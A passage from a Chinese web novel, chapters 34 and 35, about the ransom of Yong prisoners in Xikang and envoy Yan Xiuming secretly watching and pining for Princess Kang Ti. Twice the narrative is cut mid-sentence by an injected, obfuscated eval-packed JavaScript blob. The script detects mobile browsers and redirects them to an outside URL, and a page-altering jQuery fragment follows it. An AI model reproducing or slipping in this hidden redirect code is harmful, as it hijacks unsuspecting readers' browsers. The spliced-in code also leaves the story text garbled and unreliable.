他顿了顿,又道,“我以严家世代忠骨起誓!” 34. 俘虏(2) 大雍将士披甲赴边、忠勇报国,此番羁留西康,倍尝艰辛,朝廷感念诸位劳苦,特遣使赎还,厚加抚恤。凡我雍军将士,不论军龄、不论品级,每人赏银三十两、细绢十匹;归返雍境后,再赏银五十两,以安家置产。 其有在西康聘妻者,许携家眷同归,眷属另予银五两。归乡后,眷属不愿久居中原,欲复返西康者,可领返程资斧,去留自便。 这日,行人携此令,在金凉城北营房宣读。众人闻之,一时间欢呼雀跃。 要知道,一个雍军,年饷最多不过十五两。在这啥也没干,光登记个名字,就有约三十多两银子到手。这无异于天上掉馅饼。而且回乡后,还有更丰厚的赏金等着。真是连珠炮响,声声是喜。 消息一经公布,不胫而走。 一传十,十传百,传着传着,就传到了散落在金凉城及周边郊野的雍兵耳中。 回家,本就是天大的喜事,还有银钱可拿。若有家眷妻小,也可同归。这事怎么看怎么诱人。那些被征去劳役,或是被编入西康军队勉强安身的人,自然是想方设法,也要跑回那简陋的营房中。 有意思的是,西康人竟也心动了。 先前康朔下令,以老弱病残充作雍军。既然他们可以,那西康的青壮男为什么不可以呢? 西康人多经商,不乏来往于中原和西境的,自然也通晓一些中原各地口音。凭借这点优势,再搞点雍境贩来的物件,当作信物,愣称自己是雍兵,抢破头也要往那薄薄的名册上挤。 一时间,城北这处偏僻的营房,被围了个水泄不通。 照理说,这些西康人是不该收的。可先前雍使在康朔那儿吃了瘪,严修明便下示:“先记了再说。实在不行,咱们也可以学学康王,选些青壮年,特别是能工善匠的,充我雍人。” 既然正使睁一只眼,闭一只眼。上行下效。下边的人也睁一只眼,闭一只眼。凡是长得周正、或是身形健壮、或是有特殊技艺的,一律登记造册。 为此,那些典吏还小捞了一笔。毕竟名额有限。想占着便宜的西康人,得先使几个钱,求大人们通融。这些人最会做生意,哪头大、哪头小,是算得清的。 一开始,一个两个往营房跑,看不出来;十个八个,也看不出来;几十个上百个,若不留意,还是看不出来。寻常百姓的行踪,也就街坊邻居留意,至多是巡街侍卫能看出些端倪。可他们也想往营房钻。 后来,人越来越多,金凉城各司各署的官员才有所察觉。层层上报,终于入了康朔的耳朵。 这位君王瞬间脸色大变,一双长眸耷拉下来,像是要杀人。 至于他想杀谁? 那只有姓严的。 不光是因为抢人。 最可恨的是,上次演武场上,他那样抱着康缇。真不要脸! 身为上国使臣,理应懂得男女授受不亲的规矩。再者,康缇是他能碰的吗?一个没落家族出来的兵痞子,浑身恶臭,他也配? 可甭管严修明臭不臭,披了那身紫袍,康朔还是要敬他三分的。两国来往,该打的时候打,该谈的时候还得谈。 这日,他召严修明入宫,在偏殿就俘虏交接事宜,进行了不知道第多少次交涉。 期间,康朔发十句牢骚,严修明要么不说话,要么轻飘飘来一句“民意不可违”,或是“我也没办法”。他将上一次康朔那事不关己、悠哉游哉的模样,学了个惟妙惟肖。 若康朔气头上,骂了他。他也只是回一句:“谁叫你看不住自己的人?” 康朔乱了方寸。 究其原因,倒也不是因为被严修明反将一军,而是因为自己的妹妹康缇。 自那日从太庙回来,康缇就乖得出奇。不论他说什么,她都只是点点头,不摔砸物件,不冲人吼叫。 康朔见状,便将自己一番筹谋说与她听。教她去了大雍后,如何步步为营,如何操控那老皇帝。等到事成之日,兄妹俩就能团聚了。 康缇听着,眼中没有出现一丝不耐烦。她只是点头。 起初康朔是欣慰的,妹妹终于懂事了。可没过多久,他就发现不对劲。康缇不仅不会说话,有时候,甚至不能动。 那日,他本想领着妹妹去马场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264581|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散心,康缇也点头了。可他走到门口,回头一看,康缇仍坐在原处,无法起身。 这样的康缇,去了大雍,可如何是好? 康朔只恨时间不多了,没法从前那样,花上几年,悉心诊治她。 单这一点,就够他日日闹心。人也愈发急躁,对旁人从无好脸色。而对严修明,也只不过是出于礼节,开头客气两句,交谈片刻后,那烦躁、那郁结便再次涌上心头,屡屡破防。 就在两人僵持时,内侍匆匆来报:“窦韦姑娘来了。” 康朔一直有个习惯,凡与妹妹相关的事,他都要第一时间知道。虽然此时正与外使交谈,不许旁人轻易打扰,但窦韦来了,他是一定要见的。 “见过王上。” “见过上使。” 窦韦向二人施礼,而后轻快地走到康朔身边,压低声音:“王上,今日百工集开了,公主想去散散心。” “去了,多派些人护着她。” 康缇是真学乖了。 往昔她出宫,不管康朔允不允许,她想去便去,想来便来。而今无论去哪儿、做什么,均要告知康朔。且是她主动为之。 窦韦得了康朔的允许,欠身而退。 严修明端坐椅上,用余光看着她走出偏殿。 康缇。 好久没有听到这个名字了。 也好久没有见到她了。 大约两天了。 两天,便是二十四个时辰,便是两百刻,便是五百七十六字,便是无数妙,无数忽。 方才一听到她的消息,他脑海中便自动勾勒出她的模样。不是初见时那一身锦绣光华,也不是最后一次那一身血泊般的绯红魅影。而是从元台跳下时,散着发、赤着足、大步流星的样子。 严修明觉得,有必要见康缇一面。 他想知道,那日演武场上,她为何不让他护着。明明他盘算了又盘算,权衡了又权衡,好不容易决心逾矩一次,决心护她一回。 可她拒绝了。 她就那样骑着马回去,独自与康朔斗,最后落得惨败,连话也不能说了。 35. 俘虏(3) 来自市井间那些好奇敬畏的目光,从街道两侧,偷偷摸摸投向一个宝蓝色的倩影,并随之移动。 康缇漫不经心地走着、看着,身旁是窦韦,后面还跟着三四个婢女,前后皆有侍卫。十来个人的脚步落在空旷的街道上,发出清晰的声响。 这世上大部分人急于赶路,往往听不见自己脚步的声音。但是康缇可以。 她自小到大都可以。 无论王宫内外,她的周围,总有一圈无诤之境。像是大千世界中,单为她开了一个界,将她与人群隔开。在这个界中,除了那些伺候自己、保护自己的人,便是空和寂。外面的人能看见她,却不了解她;她能看见世人,却不了解世人。 不过康缇早已适应了。 不然还能怎样? 她的视线从无阻碍,缓缓扫过街道两旁百肆杂陈的铺面。忽然,在一个摊子前停住了。 “见过公主殿下。” 摊主是个中年胡商,高鼻深目,腆着个大肚子。看见康缇来了,他脸上即刻堆满笑容,弯下腰,与那□□圆润的肚子对抗。 “公主大驾光临,小店真是蓬荜生辉啊!”他伸出手,凌空在摊子上拂了一圈,“您看看这些刀嘛,都是咱们西康最好的工匠打造的,您喜欢哪个?” 匕首,是康朔的爱物,他收藏了许多。那些藏品,无一例外是精美华丽,且锋利刚韧的。康缇自小耳濡目染,也喜欢这些漂亮的匕首。 王兄有时会送她一些匕首,有些是外头搜罗来的,有些是专门为她打造的。只是怕她玩起来没轻没重,伤着自己,那些匕首要么压根没开刃,要么开了刃又给磨钝了,戳在手上也不过留道印子,唬人还行,真论杀伤力,那是没有的。 不过,康缇不在乎。她看中的只是刀身上华丽的雕刻和珠宝。 此刻,她的目光正落在摊子上的一把把匕首,考量着它们的錾刻纹理是否精致,镶嵌的琉璃是否干净透亮,彩烧珐琅是否釉面光洁…… 满目琳琅的匕首中,仅两把有幸被康缇拿起。她看了看,掂了掂,觉得无甚意思,撇了撇嘴,撇回摊子上。 “公主殿下好眼力,这两把确实寻常了嘛,我这儿还有更好的。您等下,我这就拿给您。”胡商费力折起肚子,蹲下身,从地上一个木匣子摸索了半天,又摸出四把短刀,摆在了康缇面前。 “您瞧瞧这些嘛。” 康缇斜眼瞥了一下,没说话。 一旁的窦韦嗤笑道:“就这种俗物还敢说好?” 说罢,主仆二人便要走。 那大肚子胡商赶紧招呼:“公主且慢。”他讪讪地笑了笑,“呃……我这儿还有一把短剑嘛,原是一位乌孙贵族定的,定金都付了,只是一直没来取嘛。” “拿来瞧瞧啊。” “好好,我这就去拿!” 大肚子胡商转身回屋,不一会儿便捧出一个木盒,紧紧抱在怀里,回到摊子前,打开盒盖,双手捧着递到康缇面前。 盒中衬着绒布,绒布上一把错金短剑静静躺在那儿。剑形是弯的,剑柄和剑鞘上除了繁复的花纹,还镶嵌着碧玺和金刚石,颗颗宝石交相辉映,流光溢彩。 康缇拿起那短剑,握住剑柄,“嗤”的一声拔了出来。 剑身被磨得锃亮,能映照出她的脸。 胡商凑在旁边,絮絮叨叨:“公主,您瞧这刀身,大马士革的花纹钢,这纹路,跟水波似的。再没比这个更好的嘛。” 康缇翻转剑身,端详一番,然后抬起头,看了一眼商贩身后那一栋栋小楼。 忽然,她一挥手臂。那短剑活了一般,飞旋而上,在空中划出一道弧线,“铿”的一声,扎进了楼上露台下方的墙体里。 胡商的絮叨戛然而止。 他张着嘴,眼睛瞪得溜圆,脸上的笑僵在那里,半天没反应过来。 剑柄轻微晃动,发出细微的嗡鸣声。 有人同这嗡鸣声一样,心有余悸。 正是严修明。 他与曹安,一直躲在露台上的柱子后面。方才见那短剑飞过来的时候,误以为冲着自己来的,吓得往后一缩,整个人缩进了柱子与露台瓦楞的阴影里,大气都不敢出。 刀鸣声渐渐弱下去。 他屏住的呼吸,终于恢复了。与曹安一同,悄悄探出半只眼睛往下看。只见那把短剑在墙上没待多久,便“当啷”一声,落下来摔在地上。 一名侍卫上前,将刀捡起,递给康缇。 康缇接来,再看那短剑,剑尖崩出了一个豁口。 说起来,她自己收藏的那些匕首,大多也像这把一样。无论外表多么华丽精致,刀刃始终是脆弱的。不是没开刃,就是开了刃却不堪用。 现在看来,还是王兄独具慧眼。他可以容忍刀鞘不甚华丽,但刀身必须钢刃锋利。只要刀身足够好,他完全可以在日后寻一些能工巧匠,打造一个更华美的鞘。 不惜宝石,不惜金银。 好刀宝剑,配得上任何贵重之物。 可是,怎样才能得到一把好刀宝剑? 须得是最好的工匠,须得千锤百炼而出。 那千锤百炼,又是何等滋味呢? 康缇从前不懂,但那日太庙一叙后,她似乎懂了一些。便是在忍受身心的煎熬与屈辱时,还能咽得下一张胡麻饼。 真不愧是康朔。 被这样的人深爱,就像被烈火重塑了金身。再寻常的情义,经由他的眉眼一过,都会变得摄人心魄,让人的五脏六腑都生出筋骨。 被这样的人深爱,便觉自己也配与日同辉。可太阳那么大,光芒那么强烈,任何人在它旁边,都会被强光吞没。 康缇眼中泛着淡淡的失望,将那把刀并着鞘,一股脑扔回盒中。然后把头巾拢了拢,仔细遮住了半张脸,拂袖而去。 大肚子胡商捧着盒子愣在原地,脸上的笑容还没来得及收回去:“公、公主殿下?这刀……” 西康王宫一行人,头也没回。徒留这胡商看着剑尖,垂头丧气。 百工集三条街,康缇并未走完。 实际上,她没停留多久,便离开了。看守的侍卫们也随之撤离,集市上渐渐恢复了人烟往来。 露台顶上,严修明缓缓舒了一口气。他与曹安从楼上下来,绕到康缇方才停留的摊子前。 大肚子胡商抬起头,见他衣料还算讲究,身边跟着个随从,脸上再次堆起笑容:“尊贵的客人,来看看这些匕首嘛,精致得很,跟您配的嘛。” 严修明用蹩脚的西康口音道:“盒子里的短剑,拿来。” “这个嘛……”胡商捧过盒子,“好剑,公主殿下看过,也喜欢呢。你要不要,要了卖给你嘛。” 严修明没听他絮叨,只定定看着剑尖的缺口,脑中反复回想着康缇甩出剑身,扎在墙砖的那一刻。 虽说当时被吓了一跳,但此刻他倒是希望,这剑是冲着他去的。 可惜,康缇根本没看见藏在露台的他。 严修明将短剑插回鞘中,还给了大肚子胡商,便同曹安离开了。 那大肚子胡商急得在后面一直喊:“唉,尊贵的客人,真的是好剑。碰掉一点嘛,磨一磨就好啦!便宜点给你嘛!” 严修明趁着一张脸,走了几步,突然停下,转头回到了摊子前。 “唉,我就说是好剑,错过了你后悔嘛。”那胡商见他回来,喜笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277690|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜开,再次将盒子递给他。 “多少钱?”严修明问。 “好剑肯定贵嘛,你给一百两。”说着,大肚子胡商伸出手,等着接他的钱。 一旁的曹安抬起手,“啪”的一下,将他的手拍回去。 “那么大一个豁口,你敢要一百两?” “唉,那碧玺贵得很嘛。”胡商指了指这把错金短剑,“你看,都是指甲盖一样大的碧玺嘛。” 他顿了下,又补充一句:“客人尊贵得很,这匕首跟您配得很嘛。” 严修明一句话都没说,掏出一个沉甸甸的锦袋,扔在摊子上,便带着这把短剑离开了。曹安也快步跟上。两人的身影很快被人群淹没。 而大肚子胡商打开锦袋,看着里边黄灿灿的金子,笑得一脸肥肉不停晃荡。 西康商人就是这样。 有时候,他们明码标价,童叟无欺。可有时候,他觉得客人出得起什么价,他的东西便值什么价。从来不会存在客人给多了。 这一点,和西康王卖战俘时一模一样。 ﹡ 这天到底是没和康缇说上话。 入夜,严修明独自登上西华馆的凉阁。断剑在手,他舞了一阵,刃风“嗖嗖”作响,将从阁檐探入的树枝搅得乱颤。也搅着轻薄的月光,洒满四壁。 舞到力竭时,他终于肯收起刀,往石凳上一坐。汗出了一背,被风吹着,有些冷。 那把错金短剑被他放在石桌上,没有入鞘。 “呼——” 严修明长长舒了一口气。 可胸口还是觉得闷闷的。 都说贼不走空。今日他像贼一样,扮作西康人的样子,穿墙爬楼,却连句话都没跟康缇说上。真是丧气。 当然,这不过是件小事。可正因是事太小,才更教人恼火。 因为这件小事,他堂堂卫国公,逾了矩,失了分寸,学得那爬梁肖小一般。 严修明低下头,目光又落在那把错金短剑上。上面的缺口不大,却实在刺眼,好像那缺掉的剑尖,扎在他心里一样。 他想挪开眼,可目光像被那短剑吸住了一般,怎么也收不回来。如同沙漠里迷失的旅人,明明已经精疲力竭,却不敢停下脚步。 片刻后,严修明的眼中忽然闪过一丝光亮。 他倏然起身,寻来一块磨刀石,回到凉阁,坐在石桌前。 “嚯——嚯——嚯——” 剑刃贴着石面,被严修明缓缓推过来,推过去。金属碎屑从豁口边缘溢出,比流沙还细,在月光下腾起一阵若有若无的烟尘,又落在他手上,像是覆了一层薄薄的白霜。 他磨得很慢。 一下,一下,又一下…… 不知从什么时候起,馆中的灯火渐渐熄了。远远近近的街巷也沉入黑暗,整个金凉城都睡着了。夜空中繁星亮起,一颗一颗,闪着清冷的光。 风还在吹,可他听不见风声了。 只剩眼前的磨刀声,一下一下,敲打着寂静的夜。 而严修明也成为寂静的一部分。 他那股躁动郁闷,随着“嚯嚯”的声音,渐渐消失了。 夜愈发深沉。 不知磨了多久,严修明终于停下了。他抬起剑刃,对着月光端详。那豁口已然消失,边缘变得平滑,不像先前那般刺眼了。 这时,他鬼使神差地,转头看向远处的璇玑塔,脑海中再次浮现出康缇的身影。 只是此刻,手中握着这把被磨好的短剑,就不觉得烦躁了。 他已经下了足够的工夫,在她把玩过的匕首上。 足够了。 他心头已然泛起一阵隐晦的甜蜜。